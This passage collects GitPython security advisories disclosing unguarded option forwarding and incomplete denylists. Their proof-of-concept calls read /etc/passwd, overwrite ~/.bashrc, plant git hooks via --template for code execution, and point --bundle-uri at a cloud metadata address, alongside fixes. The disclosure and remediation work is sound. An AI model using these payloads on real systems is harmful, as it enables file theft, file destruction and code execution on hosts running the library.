`CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X` #### References - [https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-truncation-via-commit-count](https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-truncation-via-commit-count) - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-p538-c434-8v24](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-p538-c434-8v24) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3950) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### GitPython: Unguarded git option forwarding in IndexFile.checkout() and TagReference.create() enables arbitrary file overwrite and arbitrary file read [CVE-2026-73620](https://nvd.nist.gov/vuln/detail/CVE-2026-73620) / [GHSA-3f7w-8rr8-f37f](https://github.com/advisories/GHSA-3f7w-8rr8-f37f) / PYSEC-2026-3949 <details> <summary>More information</summary> #### Details **Target:** gitpython-developers/GitPython **Tested:** HEAD `07e80555` (2026-07-25), latest release 3.1.55, `git version 2.50.1` **Reported instances:** 2 exploitable, from a sweep of 14 unguarded call sites ##### Summary GitPython blocks dangerous git options through `Git.check_unsafe_options()`, gated per method by an `allow_unsafe_options` parameter. That guard is applied **per call site**, so any API that forwards `**kwargs` into a git command without calling it passes caller-controlled options straight to git. A mechanical sweep of every method that forwards `**kwargs` into a `.git.<command>(...)` call found **14 sites with no guard**. Two reach a git option that takes a filesystem path: | # | Call site | git option | Impact | |---|---|---|---| | 1 | `IndexFile.checkout()` → `git checkout-index` | `--prefix=<path>` | arbitrary file **overwrite** with repository-controlled content | | 2 | `TagReference.create()` → `git tag` | `-F <file>` / `--file=<file>` | arbitrary file **read**, returned in-band | This is the same defect class already fixed in `Commit.count()` (GHSA-p538-c434-8v24), `Repo.archive()` and `Git.ls_remote()` (GHSA-956x-8gvw-wg5v). Both instances below are still present at HEAD. --- ##### Instance 1 — `IndexFile.checkout()`: arbitrary file overwrite `git/index/base.py:1210` accepts `**kwargs` and forwards them with no guard: ```python def checkout(self, paths=None, force=False, fprogress=lambda *args: None, **kwargs): ... proc = self.repo.git.checkout_index(*args, **kwargs) # line 1331 ... proc = self.repo.git.checkout_index(args, **kwargs) # line 1349 ``` There is no `allow_unsafe_options` parameter and no `check_unsafe_options()` call in the method. `git checkout-index` accepts `--prefix=<string>`, prepended to every output path. It is not confined to the working tree, so an absolute prefix writes tracked file contents anywhere the process can write, and `-f` overwrites what is already there. ##### Reproduction ```python from git import Repo Repo("/path/to/repo").index.checkout(prefix="/tmp/target_dir/", a=True, f=True) ``` Observed (`poc/poc_checkout_index.py`) — no exception raised, files land outside the repository: ``` [ALLOWED] no UnsafeOptionError raised files written outside the repo: ['f.txt'] f.txt: 'hi\n' ``` Overwrite of a pre-existing file (`poc/poc_ci_overwrite.py`) — the victim file held `ORIGINAL-DO-NOT-CLOBBER\n` before the call: ``` [ALLOWED] no exception victim content now: 'hi\n' OVERWRITTEN: True ``` ##### Why this rates High Both halves of the write are attacker-influenced: - **Destination** — the `prefix` kwarg. - **Content** — the bytes written are repository blobs, so anyone who can land a file in the repository (a pull-request branch, a mirrored or untrusted repository, an agent-cloned repository) controls exactly what is written. Commit a file named `authorized_keys`, `.bashrc`, `config` or `post-checkout`, choose the matching prefix (`~/.ssh/`, `~/`, `.git/hooks/`), and the write becomes code execution as the service account. For comparison within this project: GHSA-fjr4-x663-mwxc (arbitrary file overwrite via `git diff --output`) is rated High, and GHSA-p538-c434-8v24 (arbitrary file *truncation* via `git rev-list --output`) is rated Medium. `--prefix` supplies full content control, so it sits at or above the former. --- ##### Instance 2 — `TagReference.create()`: arbitrary file read `git/refs/tag.py:88` forwards `**kwargs` into `git tag` with no guard, and the signature advertises the passthrough: ```python def create(cls, repo, path, reference="HEAD", logmsg=None, force=False, **kwargs): """... :param kwargs: Additional keyword arguments to be passed to :manpage:`git-tag(1)`. """ ``` `git tag` accepts `-F <file>` / `--file=<file>`, which reads the tag message from an arbitrary path. The annotated tag object stores that content and GitPython returns it to the caller via `TagReference.tag.message`, so the file contents come back in-band. ##### Reproduction ```python from git import Repo from git.refs.tag import TagReference t = TagReference.create(Repo("/path/to/repo"), "x", force=True, a=True, F="/etc/passwd") print(t.tag.message) ``` Observed (`poc/poc_tag_F.py`), reading a canary file outside the repository: ``` [ALLOWED] no UnsafeOptionError raised >>> tag message recovered from arbitrary path: 'TAG-READ-CANARY-98765\nsecond-line-secret' ``` Impact is a read at the privileges of the process. I am not claiming code execution for this instance. The signing options (`-s`, `-u`/`--local-user`) do invoke gpg from the same unguarded kwargs, but I did not develop that into command execution and make no claim about it. --- ##### Sweep results — the other 12 sites Reported so the fix can be scoped once rather than per report. `poc/sweep.py` reproduces this list. | Call site | git command | Assessment | |---|---|---| | `IndexFile.from_tree()` | `read-tree` | `--index-output=<path>` looked reachable but is **neutralised**: GitPython appends its own `--index-output` after the caller's kwargs and git honours the last occurrence. Verified — victim file unchanged (`poc/poc_readtree.py`) | | `IndexFile.remove()` | `rm` | `--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found | | `IndexFile.move()` | `mv` | same | | `HEAD.reset()` | `reset` | same | | `HEAD.checkout()` | `checkout` | same | | `Head.delete()`, `RemoteReference.delete()` | `branch` | no path-taking option found | | `Repo.merge_base()` | `merge-base` | no path-taking option found | | `Repo._get_untracked_files()` | `status` | no path-taking option found | | `Remote.set_url()`, `Remote.create()`, `Remote.update()` | `remote` | URL handling already addressed by GHSA-94p4-4cq8-9g67 | ##### Suggested remediation **Immediate:** add `allow_unsafe_options: bool = False` to both methods and gate `Git._option_candidates(args, kwargs)` against new lists — `unsafe_git_checkout_index_options = ["--prefix"]` (consider `--temp`) and `unsafe_git_tag_options = ["--file", "-F"]` (consider `-s`, `-u`/`--local-user`, `--cleanup`) — matching the pattern used in `Repo.archive()` and `Commit.count()`. **Structural:** this defect has now been fixed four times in four places (`Repo.archive()`, `Git.ls_remote()`, `Commit.count()`, and the two here), because the guard is opt-in per method: every new `**kwargs`-forwarding API starts unguarded and stays that way until someone reports it. Enforcing the check centrally in `Git._call_process()` — each git invocation consults a per-command unsafe-option table unless the caller opts out — would make new call sites safe by default rather than by review, and would close the remaining sites in the table above at the same time. ##### Disclosure Reported privately via GitHub private vulnerability reporting. #### Severity - CVSS Score: 8.1 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3f7w-8rr8-f37f](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3f7w-8rr8-f37f) - [https://github.com/gitpython-developers/GitPython/pull/2193](https://github.com/gitpython-developers/GitPython/pull/2193) - [https://github.com/gitpython-developers/GitPython/commit/3af0c2516c5e18c829da30338614688f6b69b49c](https://github.com/gitpython-developers/GitPython/commit/3af0c2516c5e18c829da30338614688f6b69b49c) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.57](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.57) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-3f7w-8rr8-f37f) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython: Incomplete unsafe_git_archive_options denylist omits --add-file / --add-virtual-file, enabling arbitrary file read via Repo.archive() [CVE-2026-73619](https://nvd.nist.gov/vuln/detail/CVE-2026-73619) / [GHSA-539m-9xh6-q6rr](https://github.com/advisories/GHSA-539m-9xh6-q6rr) / PYSEC-2026-3948 <details> <summary>More information</summary> #### Details **Target:** gitpython-developers/GitPython **Tested:** HEAD `07e80555` (2026-07-25), latest release 3.1.55, `git version 2.50.1` ##### Summary `Repo.archive()` does call the option guard, so this is not a missing-guard report. The guard is present and working; the **denylist it consults is incomplete**. ```python ##### git/repo/base.py:169 unsafe_git_archive_options = [ # Allows arbitrary command execution through the remote git-upload-archive command. "--exec", # Writes output to a caller-controlled filesystem path. "--output", "-o", ] ``` The comment on `--output` states the protected class in the project's own words: an option that lets the caller name **a filesystem path** is unsafe. `--output` is blocked because it *writes* to a caller-chosen path. `git archive` also accepts `--add-file=<path>` and `--add-virtual-file=<path:content>` (both present in current git; verified against `git version 2.50.1`). `--add-file` *reads* a caller-chosen path — including an absolute path outside the repository — and places the bytes into the archive the caller receives. Neither option is in the list, and no other layer references them: ``` $ grep -rniE "add.file|add_file" git/ git/index/base.py:771: R"""Add files from the working tree, ... # unrelated docstring ``` Net effect: the guard blocks arbitrary file **write** at this sink while permitting arbitrary file **read** at the same sink. ##### Reachability proof (verified at the sink) `poc/poc_addfile.py` at HEAD `07e80555`. The PoC creates its own out-of-tree canary, so it runs from a clean machine: ``` -- CONTROL: options the denylist covers (expect BLOCKED) -- [BLOCKED] output='/tmp/gp_written.tar': --output is not allowed, use `allow_unsafe_options=True` to allow it. [BLOCKED] o='/tmp/gp_written.tar': -o is not allowed, use `allow_unsafe_options=True` to allow it. [BLOCKED] exec='touch /tmp/gp_exec': --exec is not allowed, use `allow_unsafe_options=True` to allow it. -- SIBLING OMITTED FROM THE DENYLIST: --add-file (expect ALLOWED) -- [ALLOWED] add_file='/tmp/gp_canary.txt' -> archive 10240 bytes archive members: ['f.txt', 'gp_canary.txt'] >>> EXFILTRATED gp_canary.txt: 'secret-canary-12345' >>> byte-for-byte match with the out-of-tree file: CONFIRMED -- also: --add-virtual-file (attacker-chosen name AND content) -- [ALLOWED] add_virtual_file='pwn.txt:hello' -> archive 10240 bytes ``` The three blocked lines are the control: they prove the guard is active on this call path, so the fourth result is a gap in list membership rather than a guard that never ran. Minimal reproduction: ```python import io, tarfile from git import Repo buf = io.BytesIO() Repo("/path/to/repo").archive(buf, format="tar", add_file="/etc/passwd") print(tarfile.open(fileobj=io.BytesIO(buf.getvalue())).getnames()) ##### ['<repo files>', 'passwd'] <- contents readable by whoever receives the archive ``` The canary is untracked and lives outside the repository; its contents are recovered from the returned archive and asserted byte-for-byte against the on-disk file. The option is rendered by `transform_kwargs` into `--add-file=<path>` and reaches `git archive` unmodified. ##### Direct precedent `GHSA-6p8h-3wgx-97gf` (High, published 2026-07-22) is the same defect on the sibling list: *"Incomplete `unsafe_git_clone_options` denylist omits `--template`"* — an option absent from one of these denylists, reachable under the same caller-controlled-options precondition, accepted and fixed by adding it. `git log` shows the archive list itself has already been extended reactively once, in `701ce32f` (*fix: Guard unsafe git command options*, GHSA-956x-8gvw-wg5v), and the `--template` omission was then fixed separately in `ffcb5359`. ##### `--add-virtual-file` is the same gap pointing the other way `--add-virtual-file=<path:content>` lets the caller inject **attacker-chosen content under an attacker-chosen name** into an archive that downstream consumers will reasonably treat as repository-derived. ##### Suggested remediation 1. **Preferred — allowlist.** `Repo.archive()` has a small legitimate option surface (`format`, `prefix`, `worktree_attributes`, `remote`, compression level, plus paths). Accepting those and rejecting the rest means a future git release cannot add another path-taking option that silently reopens this. 2. **Minimum — extend the list** with `--add-file` and `--add-virtual-file`, and make the membership rule *"the option takes a filesystem path or URL"* rather than *"the option executes a command"*. The existing comment on `--output` already implies that rule; applying it consistently is what closes the class instead of this instance. ##### Scope limits - Impact is **arbitrary file read at the privileges of the process**. Not code execution — I make no such claim here. - It requires the embedding application to forward caller-influenced kwargs into `Repo.archive()`. That is the identical precondition to `--output`, `--exec` and `--template`, all of which this project has treated as reportable. ##### Disclosure Reported privately via GitHub private vulnerability reporting. Happy to test a candidate patch against the PoC. No public disclosure until you have shipped a fix and are ready. --- ##### Addendum (2026-07-25) — related observation on the same membership question, filed here rather than separately While auditing the archive denylist, the same class of gap was identified in unsafe_git_clone_options. A second advisory is not being requested, as the issue is lower severity and should inform the fix for the issue above rather than require separate triage. Recording it here to provide the complete picture in one place. `Repo._clone()` treats a URL's protocol as a security boundary and applies `check_unsafe_protocols()` to exactly one input: ```python clone_url = Git.polish_url(url, expand_vars=False) if not allow_unsafe_protocols: Git.check_unsafe_protocols(clone_url) # the positional url only ``` `git clone` accepts a **second** URL via `--bundle-uri=<uri>`, which git dereferences before the main transport runs. That option is absent from `unsafe_git_clone_options`, so the option guard passes it, and `check_unsafe_protocols()` never inspects it. A caller-influenced value therefore drives an outbound request from the host: ```python Repo.clone_from(trusted_url, dest, multi_options=["--bundle-uri=http://169.254.169.254/latest/meta-data/"]) ##### no UnsafeProtocolError, no UnsafeOptionError ``` Confirmed against a local listener — the request leaves the process: ``` 127.0.0.1 - - [24/Jul/2026 23:07:41] "GET /internal-metadata HTTP/1.1" 404 - ``` `file:///path` is likewise accepted without error. Note this is **not** a tokenisation bypass: `multi_options` is `shlex.split` before the check (per `c9a26789` / GHSA-x2qx-6953-8485), so the fully-split `--bundle-uri=...` token is checked and legitimately passes because the option is not on the list. Why it belongs with this report: both are the *membership* question rather than the matching logic — is the set of blocked options complete, and does the protocol guard inspect every URL git will dereference? The structural remediation proposed above covers both if extended slightly: prefer an allowlist per command, and route **every** URL-bearing option through `check_unsafe_protocols()`, not only the positional URL. Adding `--bundle-uri` to `unsafe_git_clone_options` would be the minimal fix. #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-539m-9xh6-q6rr](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-539m-9xh6-q6rr) - [https://github.com/gitpython-developers/GitPython/pull/2193](https://github.com/gitpython-developers/GitPython/pull/2193) - [https://github.com/gitpython-developers/GitPython/commit/7a4f5dcb7bf3cbcbf6e438017efcdfe0bc0d36ca](https://github.com/gitpython-developers/GitPython/commit/7a4f5dcb7bf3cbcbf6e438017efcdfe0bc0d36ca) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.57](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.57) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-539m-9xh6-q6rr) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### [CVE-2026-73619](https://nvd.nist.gov/vuln/detail/CVE-2026-73619) / [GHSA-539m-9xh6-q6rr](https://github.com/advisories/GHSA-539m-9xh6-q6rr) / PYSEC-2026-3948 <details> <summary>More information</summary> #### Details GitPython before 3.1.57 contains an incomplete denylist in the unsafe_git_archive_options guard that omits --add-file and --add-virtual-file options. Attackers can supply these options to Repo.archive() to read arbitrary files from the filesystem and include them in the returned archive. #### Severity - CVSS Score: 7.1 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X` #### References - [https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-repo-archive](https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-repo-archive) - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-539m-9xh6-q6rr](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-539m-9xh6-q6rr) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3948) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### [CVE-2026-73620](https://nvd.nist.gov/vuln/detail/CVE-2026-73620) / [GHSA-3f7w-8rr8-f37f](https://github.com/advisories/GHSA-3f7w-8rr8-f37f) / PYSEC-2026-3949 <details> <summary>More information</summary> #### Details GitPython before 3.1.57 fails to guard git option forwarding in IndexFile.checkout() and TagReference.create(), allowing attackers to pass unsafe options via kwargs. Attackers can use --prefix to overwrite arbitrary files with repository content or -F to read arbitrary files returned in-band. #### Severity - CVSS Score: 7.2 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X` #### References - [https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-overwrite-and-read](https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-overwrite-and-read) - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3f7w-8rr8-f37f](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3f7w-8rr8-f37f) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3949) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### GitPython: Unguarded git read-tree option forwarding in IndexFile.from_tree/reset/merge_tree enables arbitrary file overwrite [CVE-2026-76219](https://nvd.nist.gov/vuln/detail/CVE-2026-76219) / [GHSA-4gmw-gg2m-w46p](https://github.com/advisories/GHSA-4gmw-gg2m-w46p) / PYSEC-2026-3838 <details> <summary>More information</summary> #### Details ##### Summary `IndexFile.from_tree`, `IndexFile.reset` (→ from_tree) and `IndexFile.merge_tree` append caller-influenced treeish strings positionally to `git read-tree` with no unsafe-option guard, no `allow_unsafe_options` parameter, and no `--` separator. `git read-tree --index-output=<file>` writes the resulting index to an arbitrary path, and last-occurrence-wins lets an injected `--index-output` override the method's internal temp path — clobbering an arbitrary file with a valid git-index blob. This is a distinct, never-guarded sink: commit `3af0c251` (GHSA-3f7w-8rr8-f37f) guarded only `checkout_index` and `tag`; `read_tree` was left unprotected (it is among the acknowledged unguarded call sites in that advisory's sweep but was never reported or fixed). ##### Root Cause `from_tree` (index/base.py:388), `reset` (delegates to from_tree), and `merge_tree` (index/base.py:291) call `repo.git.read_tree(*arg_list)` with no `check_unsafe_options` and no `--`. The treeish is caller-influenced and positional. ##### Impact Arbitrary file overwrite / destruction at the privileges of the host process. Content is constrained to a git-index blob (not attacker-chosen, so not RCE), but the target path is fully attacker-controlled — corrupting/truncating configs or destroying files at attacker-chosen writable locations = I:H + A:H (per the skill's "overwrite-any-path = I:H" rule). Pure VALUE control (positional treeish). Default configuration. ##### Proof of Concept ```python IndexFile.from_tree(repo, "--index-output=/home/victim/.bashrc") ##### target overwritten with a valid git-index blob (DIRC...) ``` ##### Attack Chain 1. Entry: app calls `IndexFile.from_tree(repo, treeish)` / `reset(commit=…)` / `merge_tree(base=…, rhs=…)` with attacker `treeish="--index-output=/home/victim/.bashrc"`. 2. Check: NONE — the methods have no `allow_unsafe_options` and never call `check_unsafe_options`. 3. Sink: `repo.git.read_tree(*arg_list)` — no `--`. argv (from_tree, observed): `['git','read-tree','--index-output=<tmp>','--index-output=/…/victim']` (last-wins). 4. Impact: target path created/overwritten with a valid git-index blob; existing content destroyed. ##### Bypass Evidence Independently reproduced (gate harness): `IndexFile.from_tree(repo,'--index-output=<victim>')` → victim overwritten; before=`IMPORTANT ORIGINAL CONTENT`, after starts `DIRC\x00\x00\x00\x02…` (destructive clobber, valid index blob). `reset(commit=…)` and both `merge_tree` positionals verified. Fix-commit read: `3af0c251` touched only `checkout_index`+`tag`; `read_tree` untouched on HEAD. ##### Affected Versions `GitPython <= 3.1.57` (sinks present verbatim on the latest release tag). ##### Suggested Fix Add a `check_unsafe_options` guard (with an `allow_unsafe_options` parameter) to `from_tree`/`reset`/`merge_tree`, and/or place a `--` separator before the positional treeish arguments; block `--index-output` (a path-taking option) on this sink. #### Severity - CVSS Score: 8.1 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-4gmw-gg2m-w46p](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-4gmw-gg2m-w46p) - [https://nvd.nist.gov/vuln/detail/CVE-2026-76219](https://nvd.nist.gov/vuln/detail/CVE-2026-76219) - [https://github.com/gitpython-developers/GitPython/pull/2204](https://github.com/gitpython-developers/GitPython/pull/2204) - [https://github.com/gitpython-developers/GitPython/commit/9b5dcaf85da5946dbf69dcd53f9edba08f760b32](https://github.com/gitpython-developers/GitPython/commit/9b5dcaf85da5946dbf69dcd53f9edba08f760b32) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58) - [https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-overwrite-via-read-tree](https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-overwrite-via-read-tree) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-4gmw-gg2m-w46p) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython: Unguarded git option forwarding in Repo.init enables arbitrary command execution via --template clone hooks [CVE-2026-76218](https://nvd.nist.gov/vuln/detail/CVE-2026-76218) / [GHSA-9rj7-rf2p-w77r](https://github.com/advisories/GHSA-9rj7-rf2p-w77r) / PYSEC-2026-3840 <details> <summary>More information</summary> #### Details ##### Summary `Repo.init()` forwards `**kwargs` verbatim to `git init` with no unsafe-option guard and no `allow_unsafe_options` parameter. `git init --template=<dir>` copies `<dir>/hooks/*` into the new repo's `.git/hooks`, so an attacker-controlled `template` kwarg plants a hook that executes on the next git operation → arbitrary code execution. `--template` is already recognized as unsafe for clone (it is on `unsafe_git_clone_options`, and GHSA-6p8h-3wgx-97gf covers the clone path), but `Repo.init` is a distinct method that never received a guard and needs an independent fix. ##### Root Cause `Repo.init(path, mkdir, odbt, expand_vars, **kwargs)` is a bare `git.init(**kwargs)` (git/repo/base.py:1435) with no `check_unsafe_options` and no `allow_unsafe_options`. ##### Impact Arbitrary code execution (hook fires on next git op) at the privileges of the host process. Two preconditions raise attack complexity (AC:H): the app must forward a `template=` kwarg (KEY control) AND the attacker must stage an executable hook directory at a known path — the same profile GHSA-6p8h-3wgx-97gf accepted as HIGH for the clone path. Default `allow_unsafe_options` is irrelevant here because `Repo.init` has no guard at all. ##### Proof of Concept ```python ##### attacker stages /evil/hooks/post-commit (executable) from git import Repo Repo.init(path, template="/evil") ##### next commit runs /evil/hooks/post-commit -> ACE ``` ##### Attack Chain 1. Entry: attacker stages `/evil/hooks/post-commit` (executable) and gets the app to call `Repo.init(path, template='/evil')`. 2. Check: NONE on `Repo.init`. Bypass proof: base.py:1435 is a bare `git.init(**kwargs)`. argv (observed): `['git','init','--template=/evil']`. 3. Sink: git copies `/evil/hooks/post-commit` → `<repo>/.git/hooks/post-commit`. 4. Impact: next commit runs the hook → arbitrary code execution. ##### Bypass Evidence Independently reproduced (gate harness): `Repo.init(dst, template='<evil>')` → argv `['git','init','--template=<evil>']` unguarded; hook copied into `.git/hooks/post-commit`; after `git commit` the `INIT_ACE` marker was created. `--separate-git-dir=<path>` is a parallel arbitrary-redirect vector through the same unguarded sink (value control only). ##### Affected Versions `GitPython <= 3.1.57` (unguarded `git.init(**kwargs)` present verbatim on the latest release tag). ##### Suggested Fix Add a `check_unsafe_options` guard (with an `allow_unsafe_options` parameter) to `Repo.init`, consulting a denylist that includes `--template` and `--separate-git-dir` (path-taking / hook-installing options). --- Reported by **zx (Jace)** — GitHub: @&#8203;manus-use #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-9rj7-rf2p-w77r](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-9rj7-rf2p-w77r) - [https://nvd.nist.gov/vuln/detail/CVE-2026-76218](https://nvd.nist.gov/vuln/detail/CVE-2026-76218) - [https://github.com/gitpython-developers/GitPython/pull/2204](https://github.com/gitpython-developers/GitPython/pull/2204) - [https://github.com/gitpython-developers/GitPython/commit/d9ddb55bdc66](https://github.com/gitpython-developers/GitPython/commit/d9ddb55bdc66) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58) - [https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-repo-init](https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-repo-init) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-9rj7-rf2p-w77r) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython: Arbitrary file read via --pathspec-from-file in IndexFile.remove() and Head.checkout() [CVE-2026-76217](https://nvd.nist.gov/vuln/detail/CVE-2026-76217) / [GHSA-hh9p-6wh2-4mfc](https://github.com/advisories/GHSA-hh9p-6wh2-4mfc) / PYSEC-2026-3841 <details> <summary>More information</summary> #### Details ##### Summary `IndexFile.remove()` and `Head.checkout()` forward `**kwargs` into `git rm` and `git checkout` with no guard. Passing `--pathspec-from-file=<file>` **together with `--pathspec-file-nul`** makes Git treat the whole file as a single NUL-delimited pathspec, and the unmatched-pathspec error quotes it verbatim. GitPython surfaces that through `GitCommandError.stderr`, so the entire contents of a caller-chosen file are returned to the caller in band. This is the same primitive as Instance 2 of [GHSA-3f7w-8rr8-f37f](https://github.com/advisories/GHSA-3f7w-8rr8-f37f) - `TagReference.create()` with `-F`, arbitrary file read returned in band - at two sites that advisory assessed and cleared. ##### Prior art, and why I am filing rather than commenting GHSA-3f7w-8rr8-f37f's sweep table lists these four sites with the assessment *"`--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found"*: | Call site | git command | that advisory's assessment | |---|---|---| | `IndexFile.remove()` | `rm` | `--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found | | `IndexFile.move()` | `mv` | same | | `HEAD.reset()` | `reset` | same | | `HEAD.checkout()` | `checkout` | same | That assessment is very nearly right, and I think that is why it held: with `--pathspec-from-file` alone, Git splits on newlines and the error quotes only the **first line**, which reads as an uninteresting partial. Adding `--pathspec-file-nul` - a sibling flag of the same option, and the documented way to handle paths containing newlines - makes the whole file one pathspec. ##### Root cause `git/index/base.py:991-1043`: ```python def remove(self, items, working_tree=False, **kwargs): ... removed_paths = self.repo.git.rm(args, paths, **kwargs).splitlines() # line 1043 ``` `git/refs/head.py:237-268`: ```python def checkout(self, force: bool = False, **kwargs: Any): ... self.repo.git.checkout(self, **kwargs) # line 268 ``` Neither has an `allow_unsafe_options` parameter or a `check_unsafe_options()` call. ##### Proof of concept ```python from git import Repo from git.exc import GitCommandError repo = Repo("/path/to/repo") kw = dict(pathspec_from_file="/etc/passwd", pathspec_file_nul=True) try: repo.index.remove([], **kw) # or: repo.heads[0].checkout(**kw) except GitCommandError as e: print(e.stderr) # <- entire file contents ``` Observed on published 3.1.57, against a canary file holding three marked lines: ``` [PASS] IndexFile.remove() -> `git rm` returns ALL 3 canary lines in-band stderr: 'fatal: pathspec 'LINE1-CANARY-4242 LINE2-SECRET-7777 LINE3-TAIL-9999 ' did not match any files' [PASS] Head.checkout() -> `git checkout` returns ALL 3 canary lines in-band stderr: 'error: pathspec 'LINE1-CANARY-4242 LINE2-SECRET-7777 LINE3-TAIL-9999 ' did not match any file(s) known to git' [PASS] PRECISION: `git status` leaks 0/3 -- not every unguarded site discloses [PASS] PRECISION: the GUARDED checkout-index leaks 0/3 ``` The two precision controls are there so the result is about these sinks and not about the canary being visible everywhere. ##### Scope correction to the table above Of the four sites cleared with that sentence, **two disclose and two do not**: | Call site | disclosed? | |---|---| | `IndexFile.remove()` → `git rm` | **yes, full file** | | `Head.checkout()` → `git checkout` | **yes, full file** | | `HEAD.reset()` → `git reset` | no - `git reset` does not error on unmatched pathspecs | | `IndexFile.move()` → `git mv` | no | The two negatives are mentioned because "the dismissal was wrong" would overstate it: the dismissal was wrong for half of what it covered. #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-hh9p-6wh2-4mfc](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-hh9p-6wh2-4mfc) - [https://nvd.nist.gov/vuln/detail/CVE-2026-76217](https://nvd.nist.gov/vuln/detail/CVE-2026-76217) - [https://github.com/gitpython-developers/GitPython/pull/2204](https://github.com/gitpython-developers/GitPython/pull/2204) - [https://github.com/gitpython-developers/GitPython/commit/f2550b65bf60ca087190981e2c7b6865e201f40c](https://github.com/gitpython-developers/GitPython/commit/f2550b65bf60ca087190981e2c7b6865e201f40c) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58) - 